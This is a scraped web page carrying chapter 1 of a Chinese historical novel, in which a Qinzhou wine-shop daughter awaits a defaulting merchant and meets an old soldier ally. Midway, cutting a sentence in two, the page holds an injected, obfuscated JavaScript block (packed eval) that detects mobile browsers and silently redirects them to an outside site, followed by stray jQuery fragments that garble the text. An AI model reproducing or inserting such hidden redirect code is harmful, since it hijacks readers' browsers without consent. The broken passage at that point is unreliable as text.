默认冷灰
24号文字
方正启体

1. 折本

作者:风里听风本书字数:K更新时间:
    “孟元娘,你家的羊羔酒怕是要折本卖喽!”


    柜台上,撒着寂寥红日投下的干燥凄凉的光,将一把算盘拢在寒冷里,酿酒成本正从一张小口里呼气吐出,落在在珠子上,噼里啪啦反复翻滚。


    酒麹十两九十二文,杏仁三两三钱三十文、粳米一石五百五十文、羊肉五斤二百五十文。


    拨完最后一个数,那只灵巧的素白小手悬停在算盘上方,珠子上便堆积出一坛酒的成本来,九百二十二文。一坛羊羔酒九百二十二文,六百坛,成本超五百五十贯,这还没有算上人力等其它支出。


    “趁着还能卖上价,赶紧给我打上一角,免得等你家宅子因还不上借款被收走时,一大家子身上一个子儿都没有,那就太可怜了。”


    胖胖的兵卒头小肚子大,活像个长了腿的胖葫芦,他抱着圆滚滚的肚子,拍了拍身上的破旧盔甲,笨拙又轻松地跨过门槛进了酒肆,瞅了半天,才在柜台后找到一抹鹅黄色像迎春花一样的影子。


    呼啦几声算珠响动,算盘清零。


    孟溪舟单手托着桃腮撑在柜台上,丧气地低垂着眸子,声调惫懒,却像抽在冰冷空气里的鞭子,爽利又刮得人脸受不住:“我家的羊羔酒不散卖。”


    言简意赅,有撵人之嫌,但她的话却不假。


    三年多前、去岁以及今秋,宋夏灵州之战,大宋接连阵亡了三名主帅。不知是看不到取胜的希望,还是怎的,如今西夏陈兵边境,灵州守军难以抵挡西夏隆冬进攻的谣言甚嚣尘上。


    灵州若亡,秦州城破便在不日,如今城里乱成了泥巴路上乌七八糟的雪泥,但凡在外有门路谋生的都在收拾行囊、提掣老幼,挤攘着要逃出秦州城呢。


    只有酿酒的孟家,照旧开门做生意,为的就是脱手库存的六百坛美酒,回笼钱财。


    生意惨淡,好不容易来了主顾,为何还不打酒招呼客人呢?


    自是有缘由,这六百坛羊羔酒是给临安客商备下的。初秋时孟家与临安客商签下契约,约好十一月初六客商来交割付款取货。


    明日便是初六了,孟家为了这笔生意,可以说是孤注一掷,不光投入了全部积蓄,还抵押了宅子,说是财竭力尽也不为过。眼下虽没有客商的半点消息,但为着最后一丝希望,也得守约等到最后一刻。


    真要是客商违约!孟溪舟摇了摇脑袋,一把拍在算盘上:大不了雇人将酒拉到别的州县去卖,无非费些车马费,总之不被活活拖死就好。


    心里刚拿好主意,挺直的背却塌了下去,家中无钱呐!


    “元娘怕是不知,刺史大人刚下的令,眼下城门已关,不献出五十贯以上的财帛不许进出,你不卖酒,哪里弄得钱来买路出城?生出翅膀飞出去么!”兵卒昂着脸敞开喉咙,敲锣打鼓一般大声地说,似乎能看穿柜台上百无聊赖摇头晃脑小姑娘的心中所想。


    嘹亮的话音和令人震撼的内容,让孟溪舟不得不抬起头,城门关了,这意思是说她插翅难飞了?


    瞧着眼前成了精的胖葫芦,她满脸的震惊、愤怒与困惑。


    震惊于出城竟要五十贯买路财,这哪里是官府该有的行径。


    愤怒于孟家守信,那杀千刀的临安客商却迟迟不来兑现尾款,害得全家人成了笼中之鸟。


    困惑于此人怎知自家无钱、宅子被抵押的事情,还知晓她家凑不齐五十贯!


    真是邪门。


    此时愤怒、震惊、困惑通通不见了,她无声无息地抓紧手里的算盘当做武器,警惕地望着走路似鸭子般左摇右摆的兵卒,脑子里嗡嗡直响。


    战争打起来了!秦州城乱套了!光天化日,逃兵公然抢掠了!


    门外夕阳在中年兵卒脸上撒上一层红彤彤的光,他张出糙厚的短粗大手,耍戏一般往肚皮上拍打数下,咧嘴一笑,肚子上挂着的破烂盔甲叮当乱响。


    孟溪舟看看他拍打肚子的动作,又仔细盯着他的脸瞧了又瞧,圆溜溜的眼睛里,蓦地亮晶晶闪过一道光彩,她丢了算盘,错愕又惊喜地叫道:“宝葫芦大叔!”


    宝葫芦一词是她年少不懂事时给徐柳起的外号,如今大了,继续这么喊人便不好看了。


    错愕过后是轻快与激动的笑,她改口道:“徐叔何时来的秦州城?自打您同陆老将军路过老虎山,救下被劫匪打伤的家父,一晃五年多过去,您随陆老将军镇守灵州,孟家一直无缘报答,这下可给我逮到机会了。”


    说着她迈着快乐的轻松步伐,跑出柜台,将恩人迎到一张四方桌前的条凳上坐下,转身搬出一坛酒,麻利地扒开泥封,摆开一口白瓷海碗,满满地倒上了羊羔酒。


    被唤做宝葫芦的灵州主帅副将徐柳,见孟溪舟认出了自己,哈哈一笑:“我方进城。些许小事,小女娃记挂甚深,说什么无缘报答,每年你家都往灵州送许多的美酒加酿,老将军在世时,最爱喝这羊羔酒,连不爱饮酒的少将军都对它赞誉颇多。”


    徐柳口中的老将军和少将军,便是为守灵州而战死的陆家父子。


    他端起酒碗,张开大口,只听咕噜咕噜几声,一碗酒眨眼就见了底,直畅快得他呲牙咧嘴,伸出大拇指大赞:“好酒。”


    孟溪舟抱起酒坛,再为徐柳满上一碗,提起阵亡的救命恩人,她咬牙切齿,愤恨不已。


    “老将军和少将军为国捐躯,偏有些脑满肠肥的腌臜货口出狂言,要污将军身后之名,说没能一举歼灭敌军,是老将军刚愎自用,以至错失良机。岂不知老将军用兵如神,多少次以少胜多,灵州、秦州两城的百姓,对老将军感激感恩不可斗量,哪能让那等货色得逞。”


    徐柳长叹一声,极感怀道:“多亏了你父亲,不光念着老将军恩情,还有侠义心肠,联络两城百姓,签了万人的请愿书,千里迢迢送往汴京,给老将军正名,比那些为官做宰的缩头乌龟不知好上多少倍。


    “唉,最后累得你父亲客死异乡,我灵州守军听闻,无不感激落泪。纵时过五载,你父亲孟棠的大名在灵州依然是响当当的。今番我来秦州,兄弟们记挂着你们,托我问好,见你亭亭玉立,你父在天之灵定感深慰,不知你娘和妹妹可还好,家里可还安稳?”


    孟溪舟笑道:“我娘和妹妹一切安好,前些日子风闻战争可能波及秦州城,我与母亲商议后,便遣散了家里的酿酒师傅和仆从,没道理让他们陪着冒风险。赵叔与甘妈妈是家中积年的老人,不肯抛下我们就走,家里还有一个小厮,有他们帮衬着,都还过得去。


    “如今徐叔来了秦州,是灵州的危机解了吗?”


    听问灵州危机,徐柳略感无奈地拍了拍肚皮,一张风沙打磨出来的糙脸,呈现出皱巴巴的苦相:“嘿嘿,大侄女,莫急,灵州的危机啊,快要解了。”


    看来不容乐观,孟溪舟意味深长地苦笑一声,不再多话战况,徒增伤感。


    “徐叔,可知为何刺史大人下令出城者需缴纳五十贯的资费?”


    她只是一介商户女,当然不敢说那是买路财,否则岂不是明摆着骂官府是土匪强盗吗?


    徐柳端起碗咕咚满喝一大口,然后意犹未尽地将碗重重墩在桌子上,用骂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286312|182611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骂咧咧的语气嘟囔道:“从今夏起,朝廷便开始减少灵州的军需供给,到初冬时,粮草缺口已经大到整个秦凤路都难以伸援手的地步,刺史刘何封城收钱自筹军需,虽然有损阴德,但也是没办法的事。”


    说罢,咕嘟咕嘟几口,碗到酒干。


    “城门失火,殃及池鱼。”孟溪舟给徐柳满上,也给自己倒了半碗,她轻轻抿了一口,心里忍不住嘿嘿一乐,不愧是自己亲自盯着酿出来的羊羔酒,口感甘醇,若能货运到物产富饶的临安,绝对能卖上大价钱,只怪那客商没福气发财啊!


    “徐叔来秦州城便是为了此事么?”


    徐柳已然从一个乐观的胖葫芦,嘎巴一声变成了架在火上烤的翻着肚皮的大肥鱼,他不无伤感地说:“我来接小郎君。”


    小郎君,自然就是陆家二郎君陆隐了,当今的状元郎。


    他为何要到这兵荒马乱的地界,不用问也能猜到,灵州阵亡的三个将领中,有两个来自陆家,他来,既为国事,也为家仇。


    “我们小郎君命苦哇,前年殿试拔得头筹,不知道被多少贵女惦记呢,官家赐婚的旨意都拟好了,我们将军殁了,接着少将军也殁了,陆家上下只余他一人了。”


    话聊到此处,两个人的嘴角都跟屋外被积雪压弯了树枝一样,往下垂。


    孟溪舟没有见过陆小郎君,但在汴京卧虎藏龙之地赢得许多芳心,定是个人品相貌皆拔尖出众的,他遭逢不幸,为着两家的源缘,心头升起怜惜之情。


    为缓和过于沉重的情绪,徐柳向上扯了扯下吊的大嘴,乐呵呵地道:“进城时,我瞧见蹲守在城门口的老赵,怏怏不快,整个人比霜打的茄子还要蔫吧。一问才知,你家为了临安的那单子买卖,滞留在此,米缸都要见底了,怎么酿酒酿的把家底都给酿没了。


    “依我看,那客商铁定要失约了。不过也不用怕,等明日我家小郎君到了,一准儿能给你把事情解决了。”


    孟溪舟耷拉着脑袋失神片刻,抬首问:“小郎君可知灵州粮草不济之事?”


    徐柳道:“自是知道的,不过你放心,陆家上下皆是忠臣良将,小郎君聪敏,绝不会跟刺史刘何一个德行,他会想出万全之策的。”


    孟溪舟心里有了计较,笑道:“唇亡齿寒,小郎君才高盖世,定然已有了法子。徐叔,明日您着人来我家运送四百坛羊羔酒,给灵州守军解乏暖胃吧!”


    徐柳一听急了:“你家就等着把酒卖出去救急呢,都倒腾去灵州,一大家子难道打算露宿街头吗?”


    孟溪舟摆手,神秘莫测地道:“徐叔,我家的急,约莫有解了。”


    徐柳待要细问,忽有一年轻兵卒神色匆匆跑进酒肆:“头儿,小郎君到了,这会儿正往刺史府去呢,说酉正时刻再去拜访孟家。”


    陆小郎君,状元郎,拜访孟家。酿酒的小商户孟家。


    孟溪舟差点以为自己听错了,一张小脸震惊得跟条刚被人捞出水的河豚似的,张着圆鼓隆咚的眼睛看向徐柳,徐柳双目神采奕奕,疲态被小郎君到来的消息一扫而光,朗声哈哈大笑,一脸的兴奋喜悦。


    他激动地拍着桌子站起身,抄起酒碗,一口喝尽,然后抹了一把嘴,抬腿便往酒肆外走,无瑕注意孟溪舟求证确认的眼神,只是在走到门外的时候朗声说了一句,“大侄女儿,运酒的事儿再说,宝葫芦大叔得先去见小郎君了。”


    如此急不可耐,除了激动马上就能见到老将军的儿子以及未来的上峰,徐柳还担忧小郎君会为封城索要钱财之事与刺史发生冲突。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)